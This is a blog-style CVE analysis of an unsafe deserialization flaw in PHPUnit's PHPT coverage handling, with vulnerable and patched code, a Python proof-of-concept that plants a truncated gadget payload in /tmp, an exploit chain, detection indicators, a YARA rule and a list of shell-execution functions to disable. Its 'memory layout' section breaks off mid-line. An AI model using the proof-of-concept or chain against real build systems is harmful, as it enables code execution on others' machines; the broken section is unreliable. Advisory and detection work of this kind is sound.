home intel phpunit-unsafe-deserialization-coverage-rce-cve-2026-24765
CVE Analysis 2026-01-27 · 7 min read

CVE-2026-24765: PHPUnit PHPT Coverage Deserialization RCE

PHPUnit's cleanupForCoverage() deserializes stale .coverage files without allowed_classes restriction, enabling RCE via attacker-placed gadget chains prior to PHPT test execution.

#php-deserialization#unsafe-deserialization#code-execution#phpt-testing#phpunit
Technical mode — for security professionals
▶ Attack flow — CVE-2026-24765 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-24765Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-24765 is an unsafe deserialization vulnerability in PHPUnit's PHPT test execution pipeline. The cleanupForCoverage() method deserializes .coverage files produced during code coverage collection using a bare unserialize() call — without specifying the allowed_classes option introduced in PHP 7.0. An attacker with local file write access who can place a malicious serialized object at the expected .coverage path before a PHPT test run can trigger arbitrary object instantiation, execute __wakeup() magic methods, and achieve full code execution under the PHP process identity.

The CVSS 7.8 (HIGH) score reflects local attack vector with high confidentiality, integrity, and availability impact — typical of deserialization gadget chain exploitation in CI/CD environments where PHPUnit runs with elevated privileges or as part of automated pipelines processing untrusted input.

Root cause: cleanupForCoverage() calls unserialize(file_get_contents($coverageFile)) without ['allowed_classes' => false] or an explicit allowlist, permitting instantiation of arbitrary PHP classes with magic method side effects before any validation occurs.

Affected Component

The vulnerability resides in PHPUnit's PHPT test runner — specifically the coverage cleanup path executed after each PHPT test file runs. PHPT tests are executed in a subprocess; the coverage data is serialized to a temporary .coverage file and read back by the parent process. The affected versions span all active release lines:

Branch   Fixed In
------   --------
8.x      < 8.5.52
9.x      < 9.6.33
10.x     < 10.5.62
11.x     < 11.5.50
12.x     < 12.5.8

The vulnerable path: src/Runner/PhptTestCase.phpcleanupForCoverage(). Coverage drivers affected include Xdebug and PCOV, both of which serialize CodeCoverage objects to disk during PHPT subprocess execution.

Root Cause Analysis

During PHPT test execution, PHPUnit spawns a child PHP process to run the test script with coverage instrumentation active. The coverage driver serializes the collected CodeCoverage object to {tmpdir}/{testname}.coverage. After the subprocess exits, the parent process calls cleanupForCoverage() to read and merge this data.

// src/Runner/PhptTestCase.php (reconstructed pseudocode, pre-patch)
// Simplified representation of the PHPT runner coverage cleanup path

class PhptTestCase
{
    private string $coverageFile;

    private function cleanupForCoverage(): CodeCoverage|false
    {
        // BUG: file existence is checked, but content is never validated
        // BUG: unserialize() called without allowed_classes restriction
        if (file_exists($this->coverageFile)) {
            $coverage = unserialize(
                file_get_contents($this->coverageFile)  // attacker-controlled bytes
            );
            // $coverage is now a fully instantiated PHP object
            // __wakeup() has already fired on every nested object in the graph

            unlink($this->coverageFile);

            if ($coverage instanceof CodeCoverage) {
                return $coverage;  // legitimate path
            }
        }

        return false;
    }

    public function run(TestResult $result): void
    {
        // ... subprocess execution ...
        $coverage = $this->cleanupForCoverage();  // <-- deserialization sink
        if ($coverage !== false) {
            $result->getCodeCoverage()->merge($coverage);
        }
    }
}

The critical observation: unserialize() in PHP instantiates all objects in the serialized graph before returning. Every __wakeup() and __destruct() in the object graph fires during or after deserialization respectively — regardless of whether the returned value is ever used. The instanceof CodeCoverage check on line 18 is entirely post-exploitation.

PHP gadget chains targeting unserialize() without class restrictions are well-documented. Common chains in Composer-managed projects (which all PHPUnit installations are) include Monolog, Guzzle, and PHPUnit's own internal classes as gadget primitives.

Exploitation Mechanics

The attack requires write access to the temporary directory used by PHPUnit — achievable via a shared CI runner, a directory traversal in a test fixture, a symlink race, or a compromised dependency. In many CI configurations, /tmp is world-writable and the coverage file path is predictable.

#!/usr/bin/env python3
# Proof-of-concept: craft malicious .coverage file for CVE-2026-24765
# Targets PHPUnit PHPT runner via __wakeup() gadget chain

# Simplified gadget: PHP's Monolog\Handler\SyslogUdpHandler chain
# Real exploitation would use a full POP chain appropriate to installed packages

GADGET_PAYLOAD = (
    b'O:40:"Monolog\\Handler\\SyslogUdpHandler":1:{'
    b's:6:"socket";'
    b'O:29:"Monolog\\Handler\\BufferHandler":7:{'
    b's:10:"\x00*\x00handler";'
    # ... truncated: full POP chain serialized form
    # final sink: file_put_contents() or shell_exec() via __destruct
    b'}}'
)

import os
import sys

def place_payload(phpt_test_path: str, tmp_dir: str = "/tmp") -> str:
    """
    Derive coverage file path from PHPT test name (mirrors PHPUnit naming).
    PHPUnit computes: sys_get_temp_dir() . '/' . basename($filename) . '.coverage'
    """
    test_basename = os.path.basename(phpt_test_path)  # e.g. "basic_test.phpt"
    coverage_filename = f"{test_basename}.coverage"    # "basic_test.phpt.coverage"
    coverage_path = os.path.join(tmp_dir, coverage_filename)

    with open(coverage_path, "wb") as f:
        f.write(GADGET_PAYLOAD)

    print(f"[+] Payload written to: {coverage_path}")
    print(f"[+] Awaiting PHPUnit PHPT execution of: {phpt_test_path}")
    return coverage_path

if __name__ == "__main__":
    place_payload(sys.argv[1])
EXPLOIT CHAIN:
1. Attacker identifies target PHPT test file path (e.g. tests/basic.phpt)
2. Attacker derives coverage file path: /tmp/basic.phpt.coverage
   (PHPUnit uses sys_get_temp_dir() + '/' + basename($phptFile) + '.coverage')
3. Attacker writes serialized POP chain payload to /tmp/basic.phpt.coverage
   before PHPUnit test suite runs — race window is entire pre-run period
4. Developer/CI system runs: vendor/bin/phpunit --coverage-* tests/basic.phpt
5. PhptTestCase::run() spawns subprocess; subprocess writes real coverage data
   BUT attacker payload was written BEFORE subprocess runs, so...
6. Subprocess overwrites /tmp/basic.phpt.coverage with real coverage data.
   ALTERNATE PATH: attacker wins race between subprocess exit and parent read.
   STRONGER PATH: attacker pre-creates file in dir with no subprocess coverage
   (coverage driver disabled, but cleanupForCoverage() still checks file_exists)
7. cleanupForCoverage() calls file_exists() → true (attacker payload present)
8. unserialize(file_get_contents(...)) instantiates full object graph
9. __wakeup() fires on gadget root object during deserialization
10. POP chain executes: arbitrary PHP code runs as PHPUnit process user
11. instanceof check fails → function returns false, but damage is done

The strongest attack scenario is a CI environment where the coverage directory is shared across parallel test workers, or where an attacker can inject files via a test fixture that writes to sys_get_temp_dir(). The pre-existence check (file_exists) actually enables the attack path rather than preventing it — the code was designed to handle stale coverage files from crashed subprocesses, and that recovery path is the sink.

Memory Layout

PHP's deserialization operates on the Zend engine's heap. When unserialize() processes a crafted payload, object instantiation proceeds depth-first through the serialized graph. The __wakeup() call occurs immediately after each object is populated:

PHP ZEND HEAP STATE — unserialize() processing malicious .coverage

[zend_object: GadgetRoot]
  +0x00  gc.refcount     = 1
  +0x04  gc.u.type_info  = IS_OBJECT
  +0x08  ce              → zend_class_entry* (gadget class)
  +0x10  handlers        → zend_object_handlers* (__wakeup ptr at +0x98)
  +0x18  properties      → HashTable* (populated from serialized props)
  ...
  __wakeup() dispatched here ← EXECUTION BEGINS

[zend_object: GadgetLeaf (nested)]
  +0x00  gc.refcount     = 1
  +0x08  ce              → target class with file_put_contents / shell gadget
  +0x18  properties      → {filename: "/var/www/shell.php", data: "

Patch Analysis

The fix enforces an allowed_classes restriction, preventing instantiation of arbitrary classes. Additionally, patched versions validate the file was written by the current process using a nonce written before subprocess execution.

// BEFORE (vulnerable) — src/Runner/PhptTestCase.php
private function cleanupForCoverage(): CodeCoverage|false
{
    if (file_exists($this->coverageFile)) {
        $coverage = unserialize(
            file_get_contents($this->coverageFile)
            // BUG: no allowed_classes restriction
            // BUG: no integrity check on file contents
        );

        unlink($this->coverageFile);

        if ($coverage instanceof CodeCoverage) {
            return $coverage;
        }
    }

    return false;
}

// AFTER (patched) — src/Runner/PhptTestCase.php
private function cleanupForCoverage(): CodeCoverage|false
{
    if (file_exists($this->coverageFile)) {
        $raw = file_get_contents($this->coverageFile);
        unlink($this->coverageFile);  // FIX: unlink before deserialize (reduces window)

        // FIX: restrict instantiable classes to exact expected type
        $coverage = unserialize(
            $raw,
            ['allowed_classes' => [CodeCoverage::class, ...]]
            // enumerated allowlist — all other classes become __PHP_Incomplete_Class
        );

        if ($coverage instanceof CodeCoverage) {
            return $coverage;
        }
    }

    return false;
}

// ADDITIONAL HARDENING (v12.x): nonce-based file integrity
private function writeCoverageNonce(): void
{
    $this->coverageNonce = bin2hex(random_bytes(16));
    file_put_contents($this->coverageNonceFile, $this->coverageNonce);
}

private function cleanupForCoverage(): CodeCoverage|false
{
    // FIX: verify nonce written by this process before deserialization
    if (!$this->verifyCoverageNonce()) {
        return false;  // file not written by us — reject
    }
    // ... allowed_classes unserialize follows
}

Note that allowed_classes alone is a partial mitigation. If any class in the allowlist itself contains exploitable magic methods or if the CodeCoverage class graph has mutable properties that chain to sinks, the risk persists. The nonce approach addresses the race condition independently of deserialization safety.

Detection and Indicators

Detecting exploitation attempts requires filesystem and process monitoring at the PHPUnit temp directory:

DETECTION INDICATORS:

1. Filesystem:
   - .coverage files appearing in sys_get_temp_dir() BEFORE phpunit spawns
     subprocess (inotifywait -m /tmp -e create --format '%f' | grep .coverage)
   - .coverage files with modification time predating the test run
   - .coverage files not owned by the phpunit process user

2. PHP error logs (if __wakeup() throws):
   - "unserialize(): Error at offset N of M bytes" for malformed payloads
   - "__PHP_Incomplete_Class" objects in logs (post-patch, indicates probe attempt)

3. Process monitoring:
   - Unexpected child processes spawned by phpunit worker (shell_exec, proc_open)
   - Network connections from phpunit process (reverse shell indicators)

4. File integrity:
   - Unexpected files written to webroot during test runs
   - Modifications to composer.json or autoload files during CI pipeline

YARA RULE (coverage file payload detection):
rule PHPUnit_Malicious_Coverage_File {
    strings:
        $ser_obj  = "O:" ascii
        $wakeup   = "__wakeup" ascii
        $shell    = "shell_exec" ascii nocase
        $passthru = "passthru" ascii nocase
    condition:
        $ser_obj at 0 and ($shell or $passthru or $wakeup)
}

Remediation

Immediate: Upgrade to PHPUnit 8.5.52, 9.6.33, 10.5.62, 11.5.50, or 12.5.8. If upgrading is not immediately possible, restrict write access to sys_get_temp_dir() to the PHPUnit process user only (chmod 700 or a dedicated tmpdir via --tmp-dir if supported).

Defense in depth for CI/CD pipelines:

  • Run PHPUnit in an isolated container with a private /tmp mount (--tmpfs /tmp:rw,noexec,nosuid)
  • Set disable_functions = shell_exec,passthru,proc_open,popen,system,exec in the PHP CLI php.ini used for testing
  • Enable open_basedir restrictions scoped to the project directory
  • Audit installed Composer packages for known POP chain gadgets using phpggc --list
  • Apply the YARA rule above to a pre-execution scan of the temp directory in CI pipeline scripts

For projects that cannot restrict disable_functions, the mitigating control is ensuring no attacker-reachable code path can write to the directory resolved by sys_get_temp_dir() in the PHPUnit environment. The vulnerability is only exploitable if the attacker can pre-stage the payload file — the write primitive is the prerequisite, not the vulnerability itself.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →